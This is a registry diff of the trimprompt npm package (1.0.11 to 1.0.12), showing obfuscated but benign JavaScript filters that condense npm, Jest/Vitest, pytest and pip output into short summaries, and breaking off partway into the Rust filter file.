trimprompt 1.0.11 → 1.0.12

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/filters/js.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1644ec=a0_0x4cf2;(function(_0x525477,_0x4c71d7){const _0x5e35d7=a0_0x4cf2,_0x57616a=_0x525477();while(!![]){try{const _0x502c7b=-parseInt(_0x5e35d7(0x1bc))/0x1*(-parseInt(_0x5e35d7(0x1ca))/0x2)+-parseInt(_0x5e35d7(0x1c8))/0x3*(parseInt(_0x5e35d7(0x1c4))/0x4)+-parseInt(_0x5e35d7(0x1c5))/0x5*(parseInt(_0x5e35d7(0x1ba))/0x6)+parseInt(_0x5e35d7(0x1ce))/0x7+-parseInt(_0x5e35d7(0x1b9))/0x8*(parseInt(_0x5e35d7(0x1c3))/0x9)+parseInt(_0x5e35d7(0x1da))/0xa*(parseInt(_0x5e35d7(0x1c9))/0xb)+parseInt(_0x5e35d7(0x1d2))/0xc;if(_0x502c7b===_0x4c71d7)break;else _0x57616a['push'](_0x57616a['shift']());}catch(_0x46e002){_0x57616a['push'](_0x57616a['shift']());}}}(a0_0x429d,0x5c80d));function a0_0x429d(){const _0x55eefc=['Test\x20Files:','1950081VDkUbQ','includes','\x20total)','up\x20to\x20date','6619044XbwaAl','split','\x20lines\x20of\x20trace\x20details\x20truncated)','push','\x0aFailures:','\x20passed','length','Test\x20Runner:\x20','50vhZqOC','found\x20','\x20failed\x20(','trim','match','5779544acMKpn','42pShyKZ','Test\x20Suites:','58160cylBJt','PASS','filterJestVitest','startsWith','join','Tests:','filterNpmInstall','9bopYEu','4xHDyEh','208655rmqUFA','\x20passed,\x20','slice','683976kqlWho','1484901bJrMqN','4JQPQhL','FAIL','NPM:\x20Packages\x20verified/installed\x20successfully'];a0_0x429d=function(){return _0x55eefc;};return a0_0x429d();}function a0_0x4cf2(_0x38ba9a,_0x2a475c){_0x38ba9a=_0x38ba9a-0x1b5;const _0x429dbc=a0_0x429d();let _0x4cf2d3=_0x429dbc[_0x38ba9a];return _0x4cf2d3;}Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x1644ec(0x1c2)]=filterNpmInstall,exports[a0_0x1644ec(0x1be)]=filterJestVitest;function filterNpmInstall(_0x28ceda){const _0x26a5f2=a0_0x1644ec,_0x2f4c93=_0x28ceda['replace'](/\r/g,'\x0a'),_0x366db5=_0x2f4c93[_0x26a5f2(0x1d3)]('\x0a'),_0x26558c=[];for(const _0x4cf959 of _0x366db5){const _0x4a2749=_0x4cf959['trim']();(_0x4a2749[_0x26a5f2(0x1cf)]('added\x20')||_0x4a2749[_0x26a5f2(0x1cf)]('removed\x20')||_0x4a2749['includes']('audited\x20')||_0x4a2749['includes'](_0x26a5f2(0x1d1))||_0x4a2749[_0x26a5f2(0x1cf)](_0x26a5f2(0x1b5)))&&(!_0x4a2749[_0x26a5f2(0x1cf)]('%')&&!_0x4a2749['startsWith']('⠋')&&!_0x4a2749['startsWith']('⠙')&&_0x26558c[_0x26a5f2(0x1d5)](_0x4a2749));}const _0x5cfceb=_0x26558c[_0x26a5f2(0x1c0)]('\x0a')[_0x26a5f2(0x1b7)]();return _0x5cfceb[_0x26a5f2(0x1d8)]>0x0?_0x5cfceb:_0x26a5f2(0x1cc);}function filterJestVitest(_0x5e99cb){const _0x33a502=a0_0x1644ec,_0x12f549=_0x5e99cb[_0x33a502(0x1d3)]('\x0a');let _0xbf2a6c=0x0,_0x2209c8=0x0,_0x548daa=0x0;const _0x1297be=[];let _0x2aea0c=![];for(const _0x220630 of _0x12f549){const _0x2c8c32=_0x220630[_0x33a502(0x1b7)]();if(_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1c1))||_0x2c8c32[_0x33a502(0x1cf)](_0x33a502(0x1cd))){const _0x140f6d=_0x2c8c32['match'](/(\d+)\s+passed/),_0x2f7dd1=_0x2c8c32[_0x33a502(0x1b8)](/(\d+)\s+failed/),_0x5e76c4=_0x2c8c32['match'](/(\d+)\s+total/);if(_0x140f6d)_0xbf2a6c=parseInt(_0x140f6d[0x1]);if(_0x2f7dd1)_0x2209c8=parseInt(_0x2f7dd1[0x1]);if(_0x5e76c4)_0x548daa=parseInt(_0x5e76c4[0x1]);continue;}(_0x2c8c32[_0x33a502(0x1bf)]('❯')||_0x2c8c32[_0x33a502(0x1bf)]('●')||_0x2c8c32[_0x33a502(0x1bf)]('FAIL\x20\x20'))&&(_0x2aea0c=!![]),_0x2aea0c&&(_0x2c8c32[_0x33a502(0x1d8)]>0x0&&!_0x2c8c32[_0x33a502(0x1bf)](_0x33a502(0x1bb))&&!_0x2c8c32['startsWith'](_0x33a502(0x1c1))&&_0x1297be['push'](_0x220630));}if(_0x548daa===0x0&&_0xbf2a6c===0x0&&_0x2209c8===0x0){if(_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1bd))&&!_0x5e99cb[_0x33a502(0x1cf)](_0x33a502(0x1cb))){const _0x392998=_0x5e99cb['match'](/(\d+)\s+passed/),_0xb65f4b=_0x392998?_0x392998[0x1]:'all';return _0x33a502(0x1d9)+_0xb65f4b+_0x33a502(0x1d7);}return _0x5e99cb;}if(_0x2209c8===0x0&&_0xbf2a6c>0x0)return _0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1d7);const _0x3c8d01=[_0x33a502(0x1d9)+_0xbf2a6c+_0x33a502(0x1c6)+_0x2209c8+_0x33a502(0x1b6)+_0x548daa+_0x33a502(0x1d0)];if(_0x1297be[_0x33a502(0x1d8)]>0x0){_0x3c8d01['push'](_0x33a502(0x1d6));const _0x1afcd3=0x19,_0x40bcf8=_0x1297be[_0x33a502(0x1c7)](0x0,_0x1afcd3);for(const _0x1d8dbf of _0x40bcf8){_0x3c8d01['push']('\x20\x20'+_0x1d8dbf);}_0x1297be[_0x33a502(0x1d8)]>_0x1afcd3&&_0x3c8d01[_0x33a502(0x1d5)]('\x20\x20...\x20('+(_0x1297be[_0x33a502(0x1d8)]-_0x1afcd3)+_0x33a502(0x1d4));}return _0x3c8d01['join']('\x0a');}
1
+ 'use strict';const a0_0x8eb7b5=a0_0x252e;(function(_0x6d2344,_0x21d35a){const _0x5b47e9=a0_0x252e,_0x472cec=_0x6d2344();while(!![]){try{const _0x4dbe70=-parseInt(_0x5b47e9(0x185))/0x1*(parseInt(_0x5b47e9(0x186))/0x2)+parseInt(_0x5b47e9(0x189))/0x3+parseInt(_0x5b47e9(0x16c))/0x4+-parseInt(_0x5b47e9(0x16f))/0x5+parseInt(_0x5b47e9(0x17c))/0x6+-parseInt(_0x5b47e9(0x187))/0x7*(-parseInt(_0x5b47e9(0x16a))/0x8)+-parseInt(_0x5b47e9(0x171))/0x9*(-parseInt(_0x5b47e9(0x17b))/0xa);if(_0x4dbe70===_0x21d35a)break;else _0x472cec['push'](_0x472cec['shift']());}catch(_0x57ae6e){_0x472cec['push'](_0x472cec['shift']());}}}(a0_0x523b,0x63f64));Object[a0_0x8eb7b5(0x181)](exports,'__esModule',{'value':!![]}),exports[a0_0x8eb7b5(0x179)]=filterNpmInstall,exports[a0_0x8eb7b5(0x184)]=filterJestVitest;function a0_0x523b(){const _0x2c0437=['length','split','\x20passed','filterNpmInstall','replace','648870kgaAhY','2746764SNbKIk','Test\x20Suites:','FAIL','Test\x20Runner:\x20','startsWith','defineProperty','includes','NPM:\x20Packages\x20verified/installed\x20successfully','filterJestVitest','813861jbKQyl','2wQMNiT','7PrYHAw','push','938406sOYGGq','join','Tests:','trim','added\x20','match','\x20\x20...\x20(','1503928zxfJBf','\x20passed,\x20','905788kvhrBb','found\x20','\x20failed\x20(','457515awxAHg','PASS','18IUzUEE','Test\x20Files:','up\x20to\x20date','\x0aFailures:','\x20lines\x20of\x20trace\x20details\x20truncated)'];a0_0x523b=function(){return _0x2c0437;};return a0_0x523b();}function filterNpmInstall(_0xac60bd){const _0x2eca9e=a0_0x8eb7b5,_0xe60330=_0xac60bd[_0x2eca9e(0x17a)](/\r/g,'\x0a'),_0x549def=_0xe60330['split']('\x0a'),_0x4c5f2e=[];for(const _0x3ffcd6 of _0x549def){const _0x129a4b=_0x3ffcd6[_0x2eca9e(0x18c)]();(_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x18d))||_0x129a4b[_0x2eca9e(0x182)]('removed\x20')||_0x129a4b[_0x2eca9e(0x182)]('audited\x20')||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x173))||_0x129a4b[_0x2eca9e(0x182)](_0x2eca9e(0x16d)))&&(!_0x129a4b[_0x2eca9e(0x182)]('%')&&!_0x129a4b[_0x2eca9e(0x180)]('⠋')&&!_0x129a4b[_0x2eca9e(0x180)]('⠙')&&_0x4c5f2e[_0x2eca9e(0x188)](_0x129a4b));}const _0x252249=_0x4c5f2e[_0x2eca9e(0x18a)]('\x0a')[_0x2eca9e(0x18c)]();return _0x252249[_0x2eca9e(0x176)]>0x0?_0x252249:_0x2eca9e(0x183);}function a0_0x252e(_0x242d28,_0x2c83db){_0x242d28=_0x242d28-0x168;const _0x523b1d=a0_0x523b();let _0x252e5b=_0x523b1d[_0x242d28];return _0x252e5b;}function filterJestVitest(_0x514183){const _0x4d72e6=a0_0x8eb7b5,_0x1ba42c=_0x514183[_0x4d72e6(0x177)]('\x0a');let _0x42bfdc=0x0,_0x3339d7=0x0,_0x1c75ce=0x0;const _0x312ff5=[];let _0x239fea=![];for(const _0x3c1a8a of _0x1ba42c){const _0x3f1a0e=_0x3c1a8a[_0x4d72e6(0x18c)]();if(_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))||_0x3f1a0e[_0x4d72e6(0x182)](_0x4d72e6(0x172))){const _0x3a297d=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x56b11c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+failed/),_0x3fd63c=_0x3f1a0e[_0x4d72e6(0x168)](/(\d+)\s+total/);if(_0x3a297d)_0x42bfdc=parseInt(_0x3a297d[0x1]);if(_0x56b11c)_0x3339d7=parseInt(_0x56b11c[0x1]);if(_0x3fd63c)_0x1c75ce=parseInt(_0x3fd63c[0x1]);continue;}(_0x3f1a0e['startsWith']('❯')||_0x3f1a0e['startsWith']('●')||_0x3f1a0e[_0x4d72e6(0x180)]('FAIL\x20\x20'))&&(_0x239fea=!![]),_0x239fea&&(_0x3f1a0e[_0x4d72e6(0x176)]>0x0&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x17d))&&!_0x3f1a0e[_0x4d72e6(0x180)](_0x4d72e6(0x18b))&&_0x312ff5[_0x4d72e6(0x188)](_0x3c1a8a));}if(_0x1c75ce===0x0&&_0x42bfdc===0x0&&_0x3339d7===0x0){if(_0x514183['includes'](_0x4d72e6(0x170))&&!_0x514183[_0x4d72e6(0x182)](_0x4d72e6(0x17e))){const _0x457120=_0x514183[_0x4d72e6(0x168)](/(\d+)\s+passed/),_0x4165b4=_0x457120?_0x457120[0x1]:'all';return _0x4d72e6(0x17f)+_0x4165b4+'\x20passed';}return _0x514183;}if(_0x3339d7===0x0&&_0x42bfdc>0x0)return'Test\x20Runner:\x20'+_0x42bfdc+_0x4d72e6(0x178);const _0x31f197=[_0x4d72e6(0x17f)+_0x42bfdc+_0x4d72e6(0x16b)+_0x3339d7+_0x4d72e6(0x16e)+_0x1c75ce+'\x20total)'];if(_0x312ff5[_0x4d72e6(0x176)]>0x0){_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x174));const _0x1698c8=0x19,_0x42044e=_0x312ff5['slice'](0x0,_0x1698c8);for(const _0x33cb44 of _0x42044e){_0x31f197[_0x4d72e6(0x188)]('\x20\x20'+_0x33cb44);}_0x312ff5[_0x4d72e6(0x176)]>_0x1698c8&&_0x31f197[_0x4d72e6(0x188)](_0x4d72e6(0x169)+(_0x312ff5[_0x4d72e6(0x176)]-_0x1698c8)+_0x4d72e6(0x175));}return _0x31f197[_0x4d72e6(0x18a)]('\x0a');}
package/filters/python.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x5474e6=a0_0x4383;(function(_0x4583cd,_0x3f3c8d){const _0x3b5c24=a0_0x4383,_0x170b69=_0x4583cd();while(!![]){try{const _0x34ef4f=-parseInt(_0x3b5c24(0xf8))/0x1*(-parseInt(_0x3b5c24(0x105))/0x2)+parseInt(_0x3b5c24(0x122))/0x3*(parseInt(_0x3b5c24(0xff))/0x4)+parseInt(_0x3b5c24(0x123))/0x5*(parseInt(_0x3b5c24(0x106))/0x6)+parseInt(_0x3b5c24(0x120))/0x7+parseInt(_0x3b5c24(0xfa))/0x8*(-parseInt(_0x3b5c24(0x117))/0x9)+-parseInt(_0x3b5c24(0x10c))/0xa+-parseInt(_0x3b5c24(0x11a))/0xb*(parseInt(_0x3b5c24(0xf7))/0xc);if(_0x34ef4f===_0x3f3c8d)break;else _0x170b69['push'](_0x170b69['shift']());}catch(_0x37d5f9){_0x170b69['push'](_0x170b69['shift']());}}}(a0_0x3fe8,0xeed4a));Object[a0_0x5474e6(0x11c)](exports,a0_0x5474e6(0x121),{'value':!![]}),exports[a0_0x5474e6(0x10a)]=filterPytest,exports[a0_0x5474e6(0x10d)]=filterPipInstall;function filterPytest(_0x39348e){const _0x446511=a0_0x5474e6,_0x14cfcd=_0x39348e[_0x446511(0x113)]('\x0a');let _0x2f07f6=0x0,_0xa3975e=0x0,_0x56b469=0x0,_0x33af4b=0x0,_0x5bc052=0x0;const _0x471c11=[];let _0x51177f=[],_0x25f3ff=![];for(const _0x1446cb of _0x14cfcd){const _0x598414=_0x1446cb['trim']();if(_0x598414['startsWith'](_0x446511(0x111))||_0x598414[_0x446511(0x11d)](_0x446511(0x126))){_0x25f3ff=!![];continue;}else(_0x598414['startsWith'](_0x446511(0x102))||_0x598414[_0x446511(0x11d)]('===')&&_0x598414['includes']('passed'))&&(_0x25f3ff=![],_0x51177f['length']>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]));if(_0x25f3ff){if(_0x598414[_0x446511(0x11d)](_0x446511(0xfd)))_0x51177f[_0x446511(0x109)]>0x0&&(_0x471c11[_0x446511(0x10e)](_0x51177f),_0x51177f=[]),_0x51177f[_0x446511(0x10e)](_0x598414);else _0x598414[_0x446511(0x109)]>0x0&&_0x51177f[_0x446511(0x10e)](_0x1446cb);continue;}if(_0x598414[_0x446511(0x11d)](_0x446511(0x114))&&_0x598414[_0x446511(0x103)](_0x446511(0x112))){const _0xf6f260=_0x598414[_0x446511(0x107)](/(\d+)\s+passed/),_0x1944d7=_0x598414[_0x446511(0x107)](/(\d+)\s+failed/),_0x533614=_0x598414[_0x446511(0x107)](/(\d+)\s+skipped/),_0x264ba8=_0x598414[_0x446511(0x107)](/(\d+)\s+xfailed/),_0x1d9dc4=_0x598414[_0x446511(0x107)](/(\d+)\s+xpassed/);if(_0xf6f260)_0x2f07f6=parseInt(_0xf6f260[0x1]);if(_0x1944d7)_0xa3975e=parseInt(_0x1944d7[0x1]);if(_0x533614)_0x56b469=parseInt(_0x533614[0x1]);if(_0x264ba8)_0x33af4b=parseInt(_0x264ba8[0x1]);if(_0x1d9dc4)_0x5bc052=parseInt(_0x1d9dc4[0x1]);}}_0x51177f[_0x446511(0x109)]>0x0&&_0x471c11[_0x446511(0x10e)](_0x51177f);if(_0x2f07f6===0x0&&_0xa3975e===0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0){if(_0x39348e[_0x446511(0x103)]('passed')&&!_0x39348e[_0x446511(0x103)](_0x446511(0x115)))return _0x446511(0x128);return _0x39348e;}if(_0xa3975e===0x0&&_0x2f07f6>0x0&&_0x56b469===0x0&&_0x33af4b===0x0&&_0x5bc052===0x0)return _0x446511(0x118)+_0x2f07f6+_0x446511(0x11e);const _0x554a60=[];_0x554a60[_0x446511(0x10e)](_0x446511(0x118)+_0x2f07f6+_0x446511(0x11e));if(_0xa3975e>0x0)_0x554a60[_0x446511(0x10e)](_0xa3975e+_0x446511(0x10f));if(_0x56b469>0x0)_0x554a60[_0x446511(0x10e)](_0x56b469+_0x446511(0x101));if(_0x33af4b>0x0)_0x554a60[_0x446511(0x10e)](_0x33af4b+_0x446511(0x10b));if(_0x5bc052>0x0)_0x554a60[_0x446511(0x10e)](_0x5bc052+_0x446511(0x11f));const _0x2ef7ae=[_0x554a60[_0x446511(0xfb)](',\x20')];if(_0x471c11[_0x446511(0x109)]>0x0){_0x2ef7ae[_0x446511(0x10e)]('\x0aFailures:');const _0x230a6d=0x3,_0x44df9e=_0x471c11['slice'](0x0,_0x230a6d);for(let _0x5a2f94=0x0;_0x5a2f94<_0x44df9e[_0x446511(0x109)];_0x5a2f94++){const _0x225ef2=_0x44df9e[_0x5a2f94],_0xf87864=_0x225ef2[0x0]['replace'](/_/g,'')[_0x446511(0x127)]();_0x2ef7ae[_0x446511(0x10e)]('\x20\x20'+(_0x5a2f94+0x1)+'.\x20[FAIL]\x20'+_0xf87864);const _0x42928e=_0x225ef2[_0x446511(0x125)](0x1),_0x101f6e=_0x42928e[_0x446511(0xfe)](_0x21bb6e=>{const _0x50d756=_0x446511,_0x5b73f2=_0x21bb6e[_0x50d756(0x127)]();return _0x5b73f2[_0x50d756(0x11d)]('>')||_0x5b73f2[_0x50d756(0x11d)](_0x50d756(0x116))||_0x5b73f2['includes']('.py:')||_0x5b73f2[_0x50d756(0x103)](_0x50d756(0x124));});for(const _0x4b589f of _0x101f6e[_0x446511(0x125)](0x0,0x8)){_0x2ef7ae[_0x446511(0x10e)](_0x446511(0x104)+_0x4b589f);}_0x101f6e[_0x446511(0x109)]>0x8&&_0x2ef7ae[_0x446511(0x10e)](_0x446511(0xfc)+(_0x101f6e[_0x446511(0x109)]-0x8)+_0x446511(0x11b));}_0x471c11[_0x446511(0x109)]>_0x230a6d&&_0x2ef7ae['push']('\x20\x20...\x20+'+(_0x471c11[_0x446511(0x109)]-_0x230a6d)+'\x20more\x20failures\x20truncated');}return _0x2ef7ae[_0x446511(0xfb)]('\x0a');}function a0_0x4383(_0x2239c3,_0x20cc67){_0x2239c3=_0x2239c3-0xf7;const _0x3fe83a=a0_0x3fe8();let _0x4383c1=_0x3fe83a[_0x2239c3];return _0x4383c1;}function a0_0x3fe8(){const _0x2caa55=['\x20xpassed\x20(warning!)','3172568FzEWVm','__esModule','4284LFCDur','4295WSqGUl','AssertionError:','slice','===\x20ERRORS\x20===','trim','Pytest:\x20All\x20tests\x20passed','120180jpOoPp','31mTmoJz','Using\x20cached','192XqmVwK','join','\x20\x20\x20\x20...\x20(','___','filter','2896qZpiVY','Requirement\x20already\x20satisfied','\x20skipped','===\x20short\x20test\x20summary\x20info\x20===','includes','\x20\x20\x20\x20','33164xnxGsU','12684LkjFpH','match','Collecting','length','filterPytest','\x20xfailed','15355830zlTipR','filterPipInstall','push','\x20failed','Downloading','===\x20FAILURES\x20===','\x20in\x20','split','===','failed','E\x20\x20\x20','304686cjLXyQ','Pytest:\x20','Successfully\x20installed','539VuXvDU','\x20lines\x20of\x20stacktrace\x20truncated)','defineProperty','startsWith','\x20passed'];a0_0x3fe8=function(){return _0x2caa55;};return a0_0x3fe8();}function filterPipInstall(_0x2d3555){const _0x4d225c=a0_0x5474e6,_0x503f14=_0x2d3555['split']('\x0a'),_0x3d7b62=[];for(const _0xaad885 of _0x503f14){const _0x433938=_0xaad885['trim']();_0x433938['startsWith'](_0x4d225c(0x119))&&_0x3d7b62[_0x4d225c(0x10e)](_0x433938);}if(_0x3d7b62[_0x4d225c(0x109)]>0x0)return _0x3d7b62[_0x4d225c(0xfb)]('\x0a');return _0x503f14[_0x4d225c(0xfe)](_0x17190b=>{const _0x191b8b=_0x4d225c,_0x403593=_0x17190b[_0x191b8b(0x127)]();return!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x108))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x110))&&!_0x403593[_0x191b8b(0x103)](_0x191b8b(0xf9))&&!_0x403593[_0x191b8b(0x11d)](_0x191b8b(0x100));})[_0x4d225c(0xfb)]('\x0a')[_0x4d225c(0x127)]();}
1
+ 'use strict';const a0_0xd11546=a0_0x5175;function a0_0x4af2(){const _0x20e967=['1630PEdbOY','===\x20FAILURES\x20===','startsWith','match','8jBetjE','___','E\x20\x20\x20','\x20\x20...\x20+','passed','filterPytest','failed','Collecting','split','.\x20[FAIL]\x20','\x20in\x20','filterPipInstall','defineProperty','replace','\x20failed','\x20passed','\x20xpassed\x20(warning!)','===\x20short\x20test\x20summary\x20info\x20===','\x20\x20\x20\x20','slice','\x20skipped','706530YFOQZX','Using\x20cached','===\x20ERRORS\x20===','1283933CtzgDh','.py:','106230pCQmuV','join','118140kBOgkM','55113uqKiTk','filter','includes','7602642selHIv','push','AssertionError:','trim','\x20xfailed','292HwLhiG','\x0aFailures:','Pytest:\x20','length','\x20\x20\x20\x20...\x20('];a0_0x4af2=function(){return _0x20e967;};return a0_0x4af2();}(function(_0xe0dfa2,_0x267c68){const _0x427bea=a0_0x5175,_0x283aae=_0xe0dfa2();while(!![]){try{const _0x43a156=-parseInt(_0x427bea(0x203))/0x1+-parseInt(_0x427bea(0x1fe))/0x2+-parseInt(_0x427bea(0x206))/0x3+parseInt(_0x427bea(0x1e0))/0x4*(-parseInt(_0x427bea(0x1e5))/0x5)+parseInt(_0x427bea(0x205))/0x6+-parseInt(_0x427bea(0x201))/0x7*(parseInt(_0x427bea(0x1e9))/0x8)+parseInt(_0x427bea(0x1db))/0x9;if(_0x43a156===_0x267c68)break;else _0x283aae['push'](_0x283aae['shift']());}catch(_0x795818){_0x283aae['push'](_0x283aae['shift']());}}}(a0_0x4af2,0x2bc91));Object[a0_0xd11546(0x1f5)](exports,'__esModule',{'value':!![]}),exports[a0_0xd11546(0x1ee)]=filterPytest,exports[a0_0xd11546(0x1f4)]=filterPipInstall;function filterPytest(_0x48987e){const _0x3454cd=a0_0xd11546,_0x30a3e2=_0x48987e['split']('\x0a');let _0x11b83b=0x0,_0x3e4f56=0x0,_0xaaa19c=0x0,_0x27cc87=0x0,_0x2180a4=0x0;const _0x8120fa=[];let _0x423498=[],_0x4969b9=![];for(const _0x578087 of _0x30a3e2){const _0x483958=_0x578087[_0x3454cd(0x1de)]();if(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1e6))||_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x200))){_0x4969b9=!![];continue;}else(_0x483958[_0x3454cd(0x1e7)](_0x3454cd(0x1fa))||_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1ed)))&&(_0x4969b9=![],_0x423498['length']>0x0&&(_0x8120fa['push'](_0x423498),_0x423498=[]));if(_0x4969b9){if(_0x483958['startsWith'](_0x3454cd(0x1ea)))_0x423498[_0x3454cd(0x1e3)]>0x0&&(_0x8120fa[_0x3454cd(0x1dc)](_0x423498),_0x423498=[]),_0x423498[_0x3454cd(0x1dc)](_0x483958);else _0x483958[_0x3454cd(0x1e3)]>0x0&&_0x423498['push'](_0x578087);continue;}if(_0x483958[_0x3454cd(0x1e7)]('===')&&_0x483958[_0x3454cd(0x1da)](_0x3454cd(0x1f3))){const _0x2ee631=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+passed/),_0x24db37=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+failed/),_0x53ad7d=_0x483958[_0x3454cd(0x1e8)](/(\d+)\s+skipped/),_0x3b5592=_0x483958['match'](/(\d+)\s+xfailed/),_0x5d97f9=_0x483958['match'](/(\d+)\s+xpassed/);if(_0x2ee631)_0x11b83b=parseInt(_0x2ee631[0x1]);if(_0x24db37)_0x3e4f56=parseInt(_0x24db37[0x1]);if(_0x53ad7d)_0xaaa19c=parseInt(_0x53ad7d[0x1]);if(_0x3b5592)_0x27cc87=parseInt(_0x3b5592[0x1]);if(_0x5d97f9)_0x2180a4=parseInt(_0x5d97f9[0x1]);}}_0x423498['length']>0x0&&_0x8120fa[_0x3454cd(0x1dc)](_0x423498);if(_0x11b83b===0x0&&_0x3e4f56===0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0){if(_0x48987e[_0x3454cd(0x1da)](_0x3454cd(0x1ed))&&!_0x48987e['includes'](_0x3454cd(0x1ef)))return'Pytest:\x20All\x20tests\x20passed';return _0x48987e;}if(_0x3e4f56===0x0&&_0x11b83b>0x0&&_0xaaa19c===0x0&&_0x27cc87===0x0&&_0x2180a4===0x0)return _0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8);const _0x25f7b7=[];_0x25f7b7[_0x3454cd(0x1dc)](_0x3454cd(0x1e2)+_0x11b83b+_0x3454cd(0x1f8));if(_0x3e4f56>0x0)_0x25f7b7['push'](_0x3e4f56+_0x3454cd(0x1f7));if(_0xaaa19c>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0xaaa19c+_0x3454cd(0x1fd));if(_0x27cc87>0x0)_0x25f7b7['push'](_0x27cc87+_0x3454cd(0x1df));if(_0x2180a4>0x0)_0x25f7b7[_0x3454cd(0x1dc)](_0x2180a4+_0x3454cd(0x1f9));const _0x334791=[_0x25f7b7['join'](',\x20')];if(_0x8120fa[_0x3454cd(0x1e3)]>0x0){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e1));const _0xbd7d2c=0x3,_0xb840fd=_0x8120fa['slice'](0x0,_0xbd7d2c);for(let _0x59e502=0x0;_0x59e502<_0xb840fd[_0x3454cd(0x1e3)];_0x59e502++){const _0x3cf9fc=_0xb840fd[_0x59e502],_0x1f5525=_0x3cf9fc[0x0][_0x3454cd(0x1f6)](/_/g,'')['trim']();_0x334791[_0x3454cd(0x1dc)]('\x20\x20'+(_0x59e502+0x1)+_0x3454cd(0x1f2)+_0x1f5525);const _0x2ab531=_0x3cf9fc[_0x3454cd(0x1fc)](0x1),_0xaee9c8=_0x2ab531[_0x3454cd(0x207)](_0x483d5f=>{const _0x980ed5=_0x3454cd,_0x5e3c22=_0x483d5f[_0x980ed5(0x1de)]();return _0x5e3c22[_0x980ed5(0x1e7)]('>')||_0x5e3c22[_0x980ed5(0x1e7)](_0x980ed5(0x1eb))||_0x5e3c22['includes'](_0x980ed5(0x202))||_0x5e3c22[_0x980ed5(0x1da)](_0x980ed5(0x1dd));});for(const _0xe11c63 of _0xaee9c8[_0x3454cd(0x1fc)](0x0,0x8)){_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1fb)+_0xe11c63);}_0xaee9c8[_0x3454cd(0x1e3)]>0x8&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1e4)+(_0xaee9c8[_0x3454cd(0x1e3)]-0x8)+'\x20lines\x20of\x20stacktrace\x20truncated)');}_0x8120fa['length']>_0xbd7d2c&&_0x334791[_0x3454cd(0x1dc)](_0x3454cd(0x1ec)+(_0x8120fa[_0x3454cd(0x1e3)]-_0xbd7d2c)+'\x20more\x20failures\x20truncated');}return _0x334791[_0x3454cd(0x204)]('\x0a');}function a0_0x5175(_0x3d17da,_0x4fe67c){_0x3d17da=_0x3d17da-0x1da;const _0x4af2a5=a0_0x4af2();let _0x517546=_0x4af2a5[_0x3d17da];return _0x517546;}function filterPipInstall(_0x3d7a0a){const _0x3cd830=a0_0xd11546,_0x9ec570=_0x3d7a0a[_0x3cd830(0x1f1)]('\x0a'),_0x37958a=[];for(const _0xbbf12a of _0x9ec570){const _0x25ff16=_0xbbf12a[_0x3cd830(0x1de)]();_0x25ff16[_0x3cd830(0x1e7)]('Successfully\x20installed')&&_0x37958a[_0x3cd830(0x1dc)](_0x25ff16);}if(_0x37958a[_0x3cd830(0x1e3)]>0x0)return _0x37958a['join']('\x0a');return _0x9ec570[_0x3cd830(0x207)](_0x4e6890=>{const _0x3577c4=_0x3cd830,_0x7151ed=_0x4e6890[_0x3577c4(0x1de)]();return!_0x7151ed['startsWith'](_0x3577c4(0x1f0))&&!_0x7151ed[_0x3577c4(0x1e7)]('Downloading')&&!_0x7151ed[_0x3577c4(0x1da)](_0x3577c4(0x1ff))&&!_0x7151ed[_0x3577c4(0x1e7)]('Requirement\x20already\x20satisfied');})[_0x3cd830(0x204)]('\x0a')['trim']();}
package/filters/rust.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x31b6(){const _0x579032=['987190dPRPmF','Cargo:\x20compiled\x20','error[','----\x20failures\x20----','\x20ignored','1918392PkIawX','\x20warnings','panicked','9ozZiuU','3ibvaHd','\x20failed,\x20','failures:','split','1499730pAglzJ','----\x20','\x20----','join','\x20\x20...\x20+','filterCargoTest','right:','Cargo:\x20','left:','startsWith','\x20\x20\x20\x20','\x20passed','__esModule','warning:','\x0aErrors:','trim','thread','32066QUPPFs','slice','16Vuwvyf','\x20crates\x20successfully','defineProperty','min','filterCargoBuild','876595KnBBuM','replace','Cargo\x20test:\x20','length','\x20more\x20errors','\x0aWarnings:','warning[','429664Gvbrfj','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','includes','match','error:','assert','1337581xLZKpT','Cargo\x20test:\x20all\x20tests\x20passed','test\x20result:','push'];a0_0x31b6=function(){return _0x579032;};return a0_0x31b6();}const a0_0x282674=a0_0x5ecb;function a0_0x5ecb(_0x495402,_0x28f796){_0x495402=_0x495402-0x9e;const _0x31b6d6=a0_0x31b6();let _0x5ecbd1=_0x31b6d6[_0x495402];return _0x5ecbd1;}(function(_0x228cd8,_0x4b7e6c){const _0xb15d9b=a0_0x5ecb,_0x3e0bbb=_0x228cd8();while(!![]){try{const 